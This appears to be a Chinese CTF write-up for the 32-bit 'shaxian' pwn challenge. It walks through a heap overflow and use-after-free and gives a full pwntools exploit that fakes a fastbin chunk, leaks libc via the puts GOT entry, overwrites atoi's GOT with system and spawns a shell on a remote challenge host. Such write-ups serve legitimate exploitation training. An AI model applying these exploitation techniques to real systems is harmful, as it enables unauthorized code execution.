0%

shaxian

首先,检查一下程序的保护机制

然后,我们用IDA分析一下

功能1存在溢出

free后没有清空指针

我们先**[创建链表三个节点,程序使用的是头插法,因此,当我们释放的时候,第一个节点最后释放,而当我们再申请同样大小的块时,由于fastbin的特性,第一个块就先被申请回来了,这样,我们溢出到节点2的结构体,覆盖指针为函数got表,就能泄露信息]{.mark}**

1
2
3
4
5
6
7
8
9
10
11
#头插法建立链表,chunk0最后被释放  
add('10','a') #0
add('10','b') #1
add('10','c') #2
#释放链表,但不清空指针
delete()
#把chunk0申请回来,并且在chunk0代表的结构体链表链接上puts的got表地址,这样我们再次show的时候就可以泄露信息
payload = 'a'*0x20 + p32(puts_got-0x4)
#prev_size size fd
payload += p32(0) + p32(0x31) + p32(ptr-0x10) #chunk1
add('10',payload)

然后,我们show,就能泄露信息了

1
2
3
4
5
6
7
8
9
show()  
sh.recvuntil('* 10\n')
puts_addr = u32(sh.recv(4))
#print 'puts_addr=',hex(puts_addr)
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)

接下来,我们想办法修改atoi的got表内容为system地址,由于fastbin特性,我们不能直接申请到atoi的got表处,因此,我们得想其他办法。只要我们**[控制了dword_804B1C0这个链表头指针,我们就能对指定位置进行读写,因此,我们只要申请到这个指针附近,就可以控制它。]{.mark}**

因此,看到之前,我们在覆盖节点1(chunk0)的next指针时,顺便把chunk1的fd指针指向了ptr-0x10处,因为我们准备在这附近伪造一个大小一样的chunk结构,就可以申请到这里。

而这个fake_chunk,我们得事先伪好,因此在程序一开始的时候

1
2
3
4
fake_chunk = p32(0) + p32(0x31)    
#为了能够控制堆指针ptr,我们在ptr上面可控靠近区伪造一个0x31的假chunk链接到fastbin,然后申请到这里即可
payload = 'd'*(0x100-0x10) + fake_chunk
sh.sendlineafter('Your Phone number:',payload)

当我们申请到fake_chunk处时,就可以顺便修改atoi的got表了,我们再重新来看看程序的插入逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int sub_80488AF()  
{
_DWORD *v0; // ebx
int v2; // [esp+1Ch] [ebp-Ch]

v2 = dword_804B1C0;
puts("CHI SHEN ME?");
puts("1.Banmian");
puts("2.Bianrou");
puts("3.Qingtangmian");
puts("4.Jianbao");
puts("5.Jianjiao");
dword_804B1C0 = (int)malloc(0x28u);
if ( !dword_804B1C0 )
return puts("Error");
*(_DWORD *)(dword_804B1C0 + 36) = v2;
sub_804865D(0, dword_804B1C0 + 4, 0x3C, 10);
//程序执行到这时,dword_804B1C0已经变成了atoi_got了
puts("How many?");
v0 = (_DWORD *)dword_804B1C0;
//这句代码。正好把*(atoi_got)处给修改了
*v0 = sub_80486CD();
puts("Add to GOUWUCHE");
return dword_804B2E0++ + 1;
}

综上,我们完整的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#coding:utf8  
from pwn import *
from LibcSearcher import *

#sh = process('./shaxian')
sh = remote('111.198.29.45',55897)
elf = ELF('./shaxian')
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
ptr = 0x804B1C0

def add(count,content):
sh.sendlineafter('choose:','1')
sh.sendlineafter('5.Jianjiao',content)
sh.sendlineafter('How many?',count)

def delete():
sh.sendlineafter('choose:','2')

def show():
sh.sendlineafter('choose:','4')

sh.sendlineafter('Your Address:','seaase')
fake_chunk = p32(0) + p32(0x31)
#为了能够控制堆指针ptr,我们在ptr上面可控靠近区伪造一个0x31的假chunk链接到fastbin,然后申请到这里即可
payload = 'd'*(0x100-0x10) + fake_chunk
sh.sendlineafter('Your Phone number:',payload)

#头插法建立链表,chunk0最后被释放
add('10','a') #0
add('10','b') #1
add('10','c') #2
#释放链表,但不清空指针
delete()
#把chunk0申请回来,并且在chunk0代表的结构体链表链接上puts的got表地址,这样我们再次show的时候就可以泄露信息
payload = 'a'*0x20 + p32(puts_got-0x4)
#prev_size size fd
payload += p32(0) + p32(0x31) + p32(ptr-0x10) #chunk1
add('10',payload)
show()
sh.recvuntil('* 10\n')
puts_addr = u32(sh.recv(4))
#print 'puts_addr=',hex(puts_addr)
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
add('10','b') #chunk1
#申请堆块到ptr上方的假chunk处,将ptr指针覆盖为atoi的got地址,同时修改atoi的got表
add(str(system_addr - 0x100000000),'dddd' + p32(atoi_got))
#getshell
sh.sendline('/bin/sh')

sh.interactive()